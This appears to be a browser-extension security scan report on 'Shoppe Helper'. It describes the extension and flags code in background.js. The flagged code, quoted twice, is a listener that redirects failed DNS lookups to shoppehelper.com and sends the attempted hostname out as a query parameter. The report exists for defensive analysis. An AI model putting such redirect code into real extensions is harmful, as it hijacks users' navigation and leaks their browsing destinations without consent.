Security Alert: Critical Security Risk
Shoppe Helper
ID: icpgdfcojdahkgjhobbpndpmgajejaco
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- bryceView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Website
- Visit
Helps online shoppers find new stores if the site they want to visit is down.
Shoppe Helper now supports a new function that helps users continue their journy online. With the core focus of helping people who are shopping online. If a website is no longer available we help you continue an easy and quick search to find an alternative website.
The extension forcibly redirects navigation errors to an external domain it controls (shoppehelper.com), hijacking the browser's native error page behavior. This is a classic typosquatting/traffic-monetization technique: users who mistype a URL or visit a temporarily offline site are captured and redirected to an affiliate or ad-serving page, generating revenue for the extension author without user consent. The redirect covers all HTTP and HTTPS schemes across every website.
chrome.webNavigation.onErrorOccurred.addListener(e => { if (e.error.includes("RESOLVE") && e.frameId == 0) { chrome.tabs.update({ url: "https://shoppehelper.com/s/?nx=" + new URL(e.url) .hostname }); }}, { url: [{ schemes: ["http", "https"] }]});When any DNS resolution fails (ERR_NAME_NOT_RESOLVED), the extension silently redirects the user's tab to shoppehelper.com with the attempted hostname appended as the `nx=` query parameter. This exfiltrates the user's browsing destination — including internal or sensitive hostnames that failed to resolve — to an external third-party server. Combined with broad host permissions (`http://*/*`, `https://*/*`) and `webNavigation`, this forms a passive data collection pipeline that captures every failed navigation attempt across all sites.
chrome.webNavigation.onErrorOccurred.addListener(e => { if (e.error.includes("RESOLVE") && e.frameId == 0) { chrome.tabs.update({ url: "https://shoppehelper.com/s/?nx=" + new URL(e.url) .hostname }); }}, { url: [{ schemes: ["http", "https"] }]});By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0 | 2 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.